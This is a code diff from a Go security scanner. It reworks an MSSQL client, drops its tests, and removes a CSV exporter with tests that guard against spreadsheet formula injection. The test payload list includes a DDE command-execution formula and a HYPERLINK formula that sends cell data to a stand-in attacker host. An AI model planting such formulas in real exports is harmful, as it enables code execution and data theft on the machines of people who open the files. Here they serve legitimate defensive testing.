||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// IsMssql checks if the given host is running MS SQL database.
|
||||
// If the host is running MS SQL database, it returns true.
|
||||
// If the host is not running MS SQL database, it returns false.
|
||||
@@ -228,8 +156,9 @@ func (c *MSSQLClient) ExecuteQuery(ctx context.Context, host string, port int, u
|
||||
}
|
||||
|
||||
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
|
||||
connString := mssqlConnString(target, username, password, dbName)
|
||||
|
||||
db, err := openDB(executionId, target, username, password, dbName)
|
||||
db, err := sql.Open("sqlserver", connString)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -1,18 +1,9 @@
|
||||
package mssql
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"net"
|
||||
"strconv"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
gomssql "github.com/microsoft/go-mssqldb"
|
||||
"github.com/microsoft/go-mssqldb/msdsn"
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
@@ -42,114 +33,3 @@ func TestConnectionStringKeepsPlainDatabaseName(t *testing.T) {
|
||||
|
||||
require.Equal(t, "master", cfg.Database)
|
||||
}
|
||||
|
||||
func TestOpenDBUsesCustomFastdialer(t *testing.T) {
|
||||
execID := "mssql-opendb-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
db, err := openDB(execID, "127.0.0.1:1433", "user", "pass", "master")
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, db)
|
||||
_ = db.Close()
|
||||
}
|
||||
|
||||
func TestMssqlDialerEnforcesNetworkPolicy(t *testing.T) {
|
||||
execID := "mssql-policy-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{
|
||||
ExecutionId: execID,
|
||||
ExcludeTargets: goflags.StringSlice{"denied.host"},
|
||||
}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
dialer := &mssqlCustomDialer{
|
||||
executionId: execID,
|
||||
host: "denied.host",
|
||||
}
|
||||
require.Equal(t, "denied.host", dialer.HostName())
|
||||
var _ gomssql.HostDialer = dialer
|
||||
|
||||
_, err := dialer.DialContext(context.Background(), "tcp", "denied.host:1433")
|
||||
require.Error(t, err)
|
||||
require.Contains(t, err.Error(), "network policy")
|
||||
|
||||
uninitDialer := &mssqlCustomDialer{
|
||||
executionId: "nonexistent-exec-id",
|
||||
host: "example.com",
|
||||
}
|
||||
_, err = uninitDialer.DialContext(context.Background(), "tcp", "example.com:1433")
|
||||
require.Error(t, err)
|
||||
require.Contains(t, err.Error(), "dialers not initialized")
|
||||
}
|
||||
|
||||
func TestConnectFailsFastOnClosedPort(t *testing.T) {
|
||||
execID := "mssql-closed-port-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
require.NoError(t, err)
|
||||
_, portStr, err := net.SplitHostPort(ln.Addr().String())
|
||||
require.NoError(t, err)
|
||||
port, err := strconv.Atoi(portStr)
|
||||
require.NoError(t, err)
|
||||
_ = ln.Close()
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
|
||||
ok, err := connect(ctx, execID, "127.0.0.1", port, "user", "pass", "master")
|
||||
require.Error(t, err)
|
||||
require.False(t, ok)
|
||||
}
|
||||
|
||||
func TestConnectWithCanceledContext(t *testing.T) {
|
||||
execID := "mssql-canceled-ctx-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel() // Cancel immediately
|
||||
|
||||
ok, err := connect(ctx, execID, "127.0.0.1", 1433, "user", "pass", "master")
|
||||
require.Error(t, err)
|
||||
require.False(t, ok)
|
||||
}
|
||||
|
||||
func TestIsNetworkError(t *testing.T) {
|
||||
require.True(t, isNetworkError(errors.New("connect: connection refused")))
|
||||
require.True(t, isNetworkError(errors.New("No connection could be made because the target machine actively refused it.")))
|
||||
require.True(t, isNetworkError(errors.New("unable to open tcp connection with host '127.0.0.1:1433': cause=\"port closed or filtered\"")))
|
||||
require.True(t, isNetworkError(errors.New("network unreachable")))
|
||||
require.True(t, isNetworkError(errors.New("connection reset by peer")))
|
||||
require.True(t, isNetworkError(errors.New("i/o timeout")))
|
||||
require.True(t, isNetworkError(context.Canceled))
|
||||
require.True(t, isNetworkError(context.DeadlineExceeded))
|
||||
require.True(t, isNetworkError(protocolstate.ErrHostDenied.Msgf("127.0.0.1")))
|
||||
|
||||
// Server-side responses / authentication failures are not network errors
|
||||
require.False(t, isNetworkError(nil))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Login failed for user 'sa'")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Cannot open database \"secret\" requested by the login")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Password has expired")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Permission denied to database")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: Password must be reset")))
|
||||
require.False(t, isNetworkError(errors.New("mssql: The query timed out")))
|
||||
}
|
||||
|
||||
func TestExecuteQueryUsesFastdialer(t *testing.T) {
|
||||
execID := "mssql-execute-query-test"
|
||||
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
|
||||
t.Cleanup(func() { protocolstate.Close(execID) })
|
||||
|
||||
client := &MSSQLClient{}
|
||||
ctx := context.WithValue(context.Background(), "executionId", execID) //nolint:staticcheck // SA1029: executionId string key matches goja runtime injection
|
||||
|
||||
// Denied host should fail policy check immediately
|
||||
_, err := client.ExecuteQuery(ctx, "denied.host", 1433, "user", "pass", "master", "SELECT 1")
|
||||
require.Error(t, err)
|
||||
|
||||
// Closed port should fail
|
||||
_, err = client.ExecuteQuery(ctx, "127.0.0.1", 65530, "user", "pass", "master", "SELECT 1")
|
||||
require.Error(t, err)
|
||||
}
|
||||
@@ -1,310 +0,0 @@
|
||||
package csv
|
||||
|
||||
import (
|
||||
"encoding/csv"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/pkg/errors"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
)
|
||||
|
||||
const (
|
||||
// defaultFile is used when no file is configured, mirroring the PDF
|
||||
// exporter. The generated default reporting config lists every exporter with
|
||||
// an empty block, and an empty block must not stop the client from starting.
|
||||
defaultFile = "nuclei-results.csv"
|
||||
|
||||
// filePerm keeps the export private to the current user. Rows carry
|
||||
// extracted response data and a replayable curl command, which can include
|
||||
// credentials, so the file is not world readable by default.
|
||||
filePerm = 0o600
|
||||
|
||||
// multiValueSeparator separates the elements of a multi-value cell.
|
||||
multiValueSeparator = "\n"
|
||||
)
|
||||
|
||||
// Options contains the configuration options for the CSV exporter client
|
||||
type Options struct {
|
||||
// File is the file to export found CSV result to
|
||||
File string `yaml:"file"`
|
||||
// OmitRaw whether to leave the curl command, which is a rendering of the raw
|
||||
// request, out of the export
|
||||
OmitRaw bool `yaml:"omit-raw"`
|
||||
}
|
||||
|
||||
// header is the ordered list of columns written to the CSV file.
|
||||
//
|
||||
// The schema is a flattened full row of the result event: everything a triage
|
||||
// or GRC workflow normally needs is present as its own column, so the file can
|
||||
// be opened in a spreadsheet or handed to a ticketing/SIEM intake without any
|
||||
// further transformation.
|
||||
//
|
||||
// Column names mirror the JSON/JSONL keys of output.ResultEvent one-for-one so
|
||||
// a column can always be traced back to the field it came from, and match the
|
||||
// names httpx uses in its own CSV mode where they overlap (host, port,
|
||||
// timestamp). The two exceptions are template-name and template-type, which map
|
||||
// to info.name and type: bare "name"/"type" are ambiguous as spreadsheet
|
||||
// headers.
|
||||
var header = []string{
|
||||
"template-id",
|
||||
"template-name",
|
||||
"template-type",
|
||||
"severity",
|
||||
"host",
|
||||
"ip",
|
||||
"port",
|
||||
"matched-at",
|
||||
"matcher-name",
|
||||
"extractor-name",
|
||||
"extracted-results",
|
||||
"cve-id",
|
||||
"cwe-id",
|
||||
"cvss-metrics",
|
||||
"cvss-score",
|
||||
"description",
|
||||
"reference",
|
||||
"curl-command",
|
||||
"timestamp",
|
||||
}
|
||||
|
||||
// Exporter is an exporter for nuclei results in CSV format
|
||||
type Exporter struct {
|
||||
options *Options
|
||||
mutex *sync.Mutex
|
||||
writer *csv.Writer
|
||||
outputFile *os.File
|
||||
closed bool
|
||||
}
|
||||
|
||||
// New creates a new CSV exporter integration client based on options.
|
||||
func New(options *Options) (*Exporter, error) {
|
||||
opts := &Options{}
|
||||
if options != nil {
|
||||
*opts = *options
|
||||
}
|
||||
if opts.File == "" {
|
||||
opts.File = defaultFile
|
||||
}
|
||||
|
||||
outputFile, err := os.OpenFile(opts.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, filePerm)
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "failed to create CSV file")
|
||||
}
|
||||
|
||||
writer := csv.NewWriter(outputFile)
|
||||
if err := writer.Write(header); err != nil {
|
||||
_ = outputFile.Close()
|
||||
return nil, errors.Wrap(err, "failed to write CSV header")
|
||||
}
|
||||
writer.Flush()
|
||||
if err := writer.Error(); err != nil {
|
||||
_ = outputFile.Close()
|
||||
return nil, errors.Wrap(err, "failed to write CSV header")
|
||||
}
|
||||
|
||||
return &Exporter{
|
||||
mutex: &sync.Mutex{},
|
||||
options: opts,
|
||||
writer: writer,
|
||||
outputFile: outputFile,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Export appends the passed result event as a flattened row to the CSV file.
|
||||
// Rows are flushed as they are written so the file is complete and readable
|
||||
// while a long scan is still running. The event is only read, never modified,
|
||||
// because the same event is handed to every exporter and tracker.
|
||||
func (exporter *Exporter) Export(event *output.ResultEvent) error {
|
||||
if event == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
exporter.mutex.Lock()
|
||||
defer exporter.mutex.Unlock()
|
||||
|
||||
if exporter.closed {
|
||||
return errors.New("CSV exporter is closed")
|
||||
}
|
||||
|
||||
if err := exporter.writer.Write(formatRow(event, exporter.options.OmitRaw)); err != nil {
|
||||
return errors.Wrap(err, "failed to write CSV row")
|
||||
}
|
||||
exporter.writer.Flush()
|
||||
if err := exporter.writer.Error(); err != nil {
|
||||
return errors.Wrap(err, "failed to write CSV row")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// formulaTriggers are the leading characters that Excel, LibreOffice Calc and
|
||||
// Google Sheets treat as the start of a formula. A cell beginning with one of
|
||||
// them is evaluated when the file is opened, so a response-derived value such
|
||||
// as `=cmd|'/C calc'!A0` captured by an extractor would execute on the machine
|
||||
// of whoever opens the export (CWE-1236).
|
||||
const formulaTriggers = "=+-@\t\r"
|
||||
|
||||
// plainNumber matches a value that is only a decimal number. It is used to keep
|
||||
// numeric cells such as a negative extracted value sortable. It is deliberately
|
||||
// stricter than strconv.ParseFloat, which also accepts forms like "+Inf",
|
||||
// "-NaN" and hex floats that a spreadsheet does not read as numbers.
|
||||
var plainNumber = regexp.MustCompile(`^[+-]?([0-9]+\.?[0-9]*|\.[0-9]+)([eE][+-]?[0-9]+)?$`)
|
||||
|
||||
// startsWithFormulaTrigger reports whether a spreadsheet would read the value
|
||||
// as a formula. Leading spaces and control characters are skipped first,
|
||||
// because some spreadsheets ignore them before the trigger.
|
||||
func startsWithFormulaTrigger(value string) bool {
|
||||
for i := 0; i < len(value); i++ {
|
||||
c := value[i]
|
||||
if strings.IndexByte(formulaTriggers, c) >= 0 {
|
||||
return true
|
||||
}
|
||||
if c > ' ' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// neutralizeFormula prefixes a single apostrophe to any value a spreadsheet
|
||||
// would evaluate as a formula, which forces the cell to be read as text.
|
||||
//
|
||||
// The original value is recovered by removing one leading apostrophe, except
|
||||
// for a value that already started with an apostrophe, which is left alone and
|
||||
// is therefore indistinguishable from a neutralized one. Values that are only a
|
||||
// plain number are left untouched so numeric columns (cvss-score, port) stay
|
||||
// sortable and a negative number is not needlessly quoted.
|
||||
func neutralizeFormula(value string) string {
|
||||
if !startsWithFormulaTrigger(value) || plainNumber.MatchString(value) {
|
||||
return value
|
||||
}
|
||||
return "'" + value
|
||||
}
|
||||
|
||||
// neutralizeLines neutralizes every line of a value that is stored as a list
|
||||
// of lines. Consumers split these cells back into lines, so each line has to be
|
||||
// safe on its own and not just the start of the cell. Line endings are
|
||||
// normalized to a single newline, which is the separator of the list.
|
||||
func neutralizeLines(value string) string {
|
||||
if value == "" {
|
||||
return ""
|
||||
}
|
||||
value = strings.ReplaceAll(value, "\r\n", "\n")
|
||||
value = strings.ReplaceAll(value, "\r", "\n")
|
||||
lines := strings.Split(value, "\n")
|
||||
for i, line := range lines {
|
||||
lines[i] = neutralizeFormula(line)
|
||||
}
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
// neutralizeList joins the elements of a multi-value column with the given
|
||||
// separator after neutralizing each element, and each line of each element.
|
||||
func neutralizeList(values []string, separator string) string {
|
||||
if len(values) == 0 {
|
||||
return ""
|
||||
}
|
||||
neutralized := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
neutralized = append(neutralized, neutralizeLines(value))
|
||||
}
|
||||
return strings.Join(neutralized, separator)
|
||||
}
|
||||
|
||||
// formatRow flattens a ResultEvent into the ordered set of CSV columns defined
|
||||
// by header. Empty values are emitted for fields that are not present on the
|
||||
// event (for example, templates without CVE/CVSS classification metadata).
|
||||
//
|
||||
// Two separate escaping concerns are handled here. Structural injection is
|
||||
// handled by encoding/csv, which RFC 4180-quotes any value carrying a comma,
|
||||
// double quote or newline so it cannot forge extra columns or rows. Spreadsheet
|
||||
// formula evaluation is handled by neutralizeFormula, because the target of
|
||||
// this exporter is explicitly a file someone opens in a spreadsheet. Every
|
||||
// column goes through it, including the ones that normally hold a controlled
|
||||
// value, because template metadata is written by the template author and is not
|
||||
// trusted either.
|
||||
func formatRow(event *output.ResultEvent, omitRaw bool) []string {
|
||||
var cve, cwe, cvssMetrics, cvssScore string
|
||||
if event.Info.Classification != nil {
|
||||
classification := event.Info.Classification
|
||||
// CVE/CWE identifiers cannot contain a comma, so they keep the ", "
|
||||
// form used everywhere else in nuclei.
|
||||
cve = neutralizeList(classification.CVEID.ToSlice(), ", ")
|
||||
cwe = neutralizeList(classification.CWEID.ToSlice(), ", ")
|
||||
cvssMetrics = classification.CVSSMetrics
|
||||
if classification.CVSSScore > 0 {
|
||||
cvssScore = strconv.FormatFloat(classification.CVSSScore, 'f', -1, 64)
|
||||
}
|
||||
}
|
||||
|
||||
// References are URLs and can themselves contain a comma, so they are
|
||||
// newline separated inside the (quoted) cell rather than comma separated.
|
||||
var reference string
|
||||
if event.Info.Reference != nil {
|
||||
reference = neutralizeList(event.Info.Reference.ToSlice(), multiValueSeparator)
|
||||
}
|
||||
|
||||
var curlCommand string
|
||||
if !omitRaw {
|
||||
curlCommand = event.CURLCommand
|
||||
}
|
||||
|
||||
var timestamp string
|
||||
if !event.Timestamp.IsZero() {
|
||||
timestamp = event.Timestamp.UTC().Format(time.RFC3339)
|
||||
}
|
||||
|
||||
return []string{
|
||||
neutralizeFormula(event.TemplateID),
|
||||
neutralizeFormula(event.Info.Name),
|
||||
neutralizeFormula(event.Type),
|
||||
neutralizeFormula(event.Info.SeverityHolder.Severity.String()),
|
||||
neutralizeFormula(event.Host),
|
||||
neutralizeFormula(event.IP),
|
||||
neutralizeFormula(event.Port),
|
||||
neutralizeFormula(event.Matched),
|
||||
neutralizeFormula(event.MatcherName),
|
||||
neutralizeFormula(event.ExtractorName),
|
||||
// Extracted results are arbitrary response-derived data and can contain
|
||||
// commas and newlines, so they are newline separated inside the
|
||||
// (quoted) cell, with every line neutralized on its own.
|
||||
neutralizeList(event.ExtractedResults, multiValueSeparator),
|
||||
cve,
|
||||
cwe,
|
||||
neutralizeFormula(cvssMetrics),
|
||||
neutralizeFormula(cvssScore),
|
||||
neutralizeFormula(event.Info.Description),
|
||||
reference,
|
||||
neutralizeFormula(curlCommand),
|
||||
neutralizeFormula(timestamp),
|
||||
}
|
||||
}
|
||||
|
||||
// Close flushes any buffered rows and closes the CSV file. It is safe to call
|
||||
// more than once.
|
||||
func (exporter *Exporter) Close() error {
|
||||
exporter.mutex.Lock()
|
||||
defer exporter.mutex.Unlock()
|
||||
|
||||
if exporter.closed {
|
||||
return nil
|
||||
}
|
||||
exporter.closed = true
|
||||
|
||||
exporter.writer.Flush()
|
||||
if err := exporter.writer.Error(); err != nil {
|
||||
_ = exporter.outputFile.Close()
|
||||
return errors.Wrap(err, "failed to flush CSV file")
|
||||
}
|
||||
|
||||
if err := exporter.outputFile.Close(); err != nil {
|
||||
return errors.Wrap(err, "failed to close CSV file")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,450 +0,0 @@
|
||||
package csv
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
)
|
||||
|
||||
// payloads are values a spreadsheet would evaluate. Every one of them has to be
|
||||
// neutralized wherever it lands in a row.
|
||||
var payloads = []string{
|
||||
`=cmd|'/C calc'!A0`,
|
||||
`=HYPERLINK("http://evil.example/?d="&A1,"x")`,
|
||||
`+1+1`,
|
||||
`-2+3`,
|
||||
`@SUM(1+1)`,
|
||||
"\t=1+1",
|
||||
"\r=1+1",
|
||||
" =1+1",
|
||||
"\n=1+1",
|
||||
}
|
||||
|
||||
// hostileEvent puts the given value into every string field of the event that
|
||||
// ends up in the CSV, including the template metadata fields.
|
||||
func hostileEvent(value string) *output.ResultEvent {
|
||||
return &output.ResultEvent{
|
||||
TemplateID: value,
|
||||
Type: value,
|
||||
Info: model.Info{
|
||||
Name: value,
|
||||
Description: value,
|
||||
Reference: stringslice.NewRawStringSlice([]string{value, "https://example.com", value}),
|
||||
SeverityHolder: severity.Holder{Severity: severity.High},
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: []string{value, "CVE-2020-0001"}},
|
||||
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", value}},
|
||||
CVSSMetrics: value,
|
||||
CVSSScore: 9.8,
|
||||
},
|
||||
},
|
||||
Host: value,
|
||||
IP: value,
|
||||
Port: value,
|
||||
Matched: value,
|
||||
MatcherName: value,
|
||||
ExtractorName: value,
|
||||
ExtractedResults: []string{value, "ok", value},
|
||||
CURLCommand: value,
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
}
|
||||
|
||||
// TestCSVExporterNeutralizesEveryColumn is the guard against a column being
|
||||
// added or changed without going through neutralizeFormula. The payload is put
|
||||
// in every field, so a column that skips it shows up as an unsafe cell.
|
||||
func TestCSVExporterNeutralizesEveryColumn(t *testing.T) {
|
||||
for _, payload := range payloads {
|
||||
t.Run(fmt.Sprintf("%q", payload), func(t *testing.T) {
|
||||
records := export(t, hostileEvent(payload))
|
||||
require.Len(t, records, 2)
|
||||
row := records[1]
|
||||
require.Len(t, row, len(header))
|
||||
|
||||
for i, cell := range row {
|
||||
name := header[i]
|
||||
if startsWithFormulaTrigger(cell) && !plainNumber.MatchString(cell) {
|
||||
t.Errorf("column %s is a formula: %q", name, cell)
|
||||
}
|
||||
}
|
||||
|
||||
// list columns are split back into elements and lines by consumers,
|
||||
// so each of those has to be safe too
|
||||
for _, name := range []string{"extracted-results", "reference", "cve-id", "cwe-id"} {
|
||||
cell := row[column(t, name)]
|
||||
separator := "\n"
|
||||
if name == "cve-id" || name == "cwe-id" {
|
||||
separator = ", "
|
||||
}
|
||||
for _, element := range strings.Split(cell, separator) {
|
||||
for _, line := range strings.Split(element, "\n") {
|
||||
if startsWithFormulaTrigger(line) && !plainNumber.MatchString(line) {
|
||||
t.Errorf("column %s has an element that is a formula: %q", name, line)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestCSVExporterNeutralizesEmbeddedLinesInLists covers a multi-line
|
||||
// extracted result. Joined with the list separator, its second line becomes an
|
||||
// element of its own for anyone who splits the cell.
|
||||
func TestCSVExporterNeutralizesEmbeddedLinesInLists(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
ExtractedResults: []string{"harmless\n=cmd|'/C calc'!A0", "a\r\n@SUM(1)", "b\r+1+1", "-5"},
|
||||
Info: model.Info{
|
||||
SeverityHolder: severity.Holder{Severity: severity.Info},
|
||||
Reference: stringslice.NewRawStringSlice([]string{"https://a.example\n=1+1"}),
|
||||
},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
row := export(t, event)[1]
|
||||
require.Equal(t,
|
||||
[]string{"harmless", "'=cmd|'/C calc'!A0", "a", "'@SUM(1)", "b", "'+1+1", "-5"},
|
||||
strings.Split(row[column(t, "extracted-results")], "\n"))
|
||||
require.Equal(t,
|
||||
[]string{"https://a.example", "'=1+1"},
|
||||
strings.Split(row[column(t, "reference")], "\n"))
|
||||
}
|
||||
|
||||
func TestCSVExporterNeutralizesTemplateAuthoredMetadata(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
Info: model.Info{
|
||||
Name: "n",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Low},
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: "=cmd|'/C calc'!A0"},
|
||||
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "@SUM(1)"}},
|
||||
CVSSMetrics: "+cmd",
|
||||
},
|
||||
},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
row := export(t, event)[1]
|
||||
require.Equal(t, "'=cmd|'/C calc'!A0", row[column(t, "cve-id")])
|
||||
require.Equal(t, "CWE-79, '@SUM(1)", row[column(t, "cwe-id")])
|
||||
require.Equal(t, "'+cmd", row[column(t, "cvss-metrics")])
|
||||
}
|
||||
|
||||
func TestCSVExporterLeavesBenignValuesAlone(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "tech-detect",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Wappalyzer Technology Detection",
|
||||
Description: "- bullet one\n- bullet two",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Info},
|
||||
},
|
||||
Host: "http://example.com/a=b+c",
|
||||
Port: "8080",
|
||||
ExtractedResults: []string{"nginx/1.25", "-1", "+7", "3.14"},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
row := export(t, event)[1]
|
||||
require.Equal(t, "http://example.com/a=b+c", row[column(t, "host")])
|
||||
require.Equal(t, "8080", row[column(t, "port")])
|
||||
require.Equal(t, "nginx/1.25\n-1\n+7\n3.14", row[column(t, "extracted-results")])
|
||||
require.Equal(t, "2025-06-01T00:00:00Z", row[column(t, "timestamp")])
|
||||
}
|
||||
|
||||
func TestCSVExporterOmitRaw(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
Host: "example.com",
|
||||
CURLCommand: "curl -H 'Authorization: Bearer secret' 'https://example.com'",
|
||||
Request: "GET / HTTP/1.1",
|
||||
Response: "HTTP/1.1 200 OK",
|
||||
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
for _, omit := range []bool{false, true} {
|
||||
t.Run(fmt.Sprintf("omit-raw=%t", omit), func(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file, OmitRaw: omit})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
raw, err := os.ReadFile(file)
|
||||
require.NoError(t, err)
|
||||
require.NotContains(t, string(raw), "GET / HTTP/1.1", "the raw request is never part of the schema")
|
||||
require.NotContains(t, string(raw), "HTTP/1.1 200 OK", "the raw response is never part of the schema")
|
||||
|
||||
cell := readCSV(t, file)[1][column(t, "curl-command")]
|
||||
if omit {
|
||||
require.Empty(t, cell)
|
||||
require.NotContains(t, string(raw), "secret")
|
||||
} else {
|
||||
require.Contains(t, cell, "Authorization: Bearer secret")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCSVExporterDoesNotMutateEvent(t *testing.T) {
|
||||
event := hostileEvent("=1+1")
|
||||
before := *hostileEvent("=1+1")
|
||||
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file, OmitRaw: true})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
require.Equal(t, before, *event, "the event is shared with other exporters and must stay untouched")
|
||||
require.Equal(t, "=1+1", event.CURLCommand)
|
||||
}
|
||||
|
||||
func TestCSVExporterZeroTimestampIsEmpty(t *testing.T) {
|
||||
row := export(t, &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
|
||||
})[1]
|
||||
require.Empty(t, row[column(t, "timestamp")])
|
||||
}
|
||||
|
||||
func TestCSVExporterNilEvent(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(nil))
|
||||
require.NoError(t, exporter.Close())
|
||||
require.Len(t, readCSV(t, file), 1, "only the header is written")
|
||||
}
|
||||
|
||||
func TestCSVExporterDefaultFile(t *testing.T) {
|
||||
for name, options := range map[string]*Options{
|
||||
"nil options": nil,
|
||||
"empty options": {},
|
||||
} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
t.Chdir(t.TempDir())
|
||||
|
||||
exporter, err := New(options)
|
||||
require.NoError(t, err, "an empty block in a reporting config must not fail")
|
||||
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "t"}))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
records := readCSV(t, defaultFile)
|
||||
require.Len(t, records, 2)
|
||||
require.Equal(t, header, records[0])
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCSVExporterDoesNotMutateOptions(t *testing.T) {
|
||||
t.Chdir(t.TempDir())
|
||||
options := &Options{}
|
||||
exporter, err := New(options)
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Close())
|
||||
require.Empty(t, options.File, "the caller's options are copied, not edited")
|
||||
}
|
||||
|
||||
func TestCSVExporterFilePermissions(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("unix permission bits are not enforced on windows")
|
||||
}
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
info, err := os.Stat(file)
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, os.FileMode(0o600), info.Mode().Perm())
|
||||
}
|
||||
|
||||
func TestCSVExporterTruncatesExistingFile(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
require.NoError(t, os.WriteFile(file, []byte(strings.Repeat("stale,row\n", 100)), 0o600))
|
||||
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
require.Len(t, readCSV(t, file), 1)
|
||||
raw, err := os.ReadFile(file)
|
||||
require.NoError(t, err)
|
||||
require.NotContains(t, string(raw), "stale")
|
||||
}
|
||||
|
||||
func TestCSVExporterInvalidPath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
for name, path := range map[string]string{
|
||||
"missing parent directory": filepath.Join(dir, "missing", "results.csv"),
|
||||
"directory": dir,
|
||||
} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
exporter, err := New(&Options{File: path})
|
||||
require.Error(t, err)
|
||||
require.Nil(t, exporter)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCSVExporterClose(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "before"}))
|
||||
|
||||
require.NoError(t, exporter.Close())
|
||||
require.NoError(t, exporter.Close(), "closing twice is harmless")
|
||||
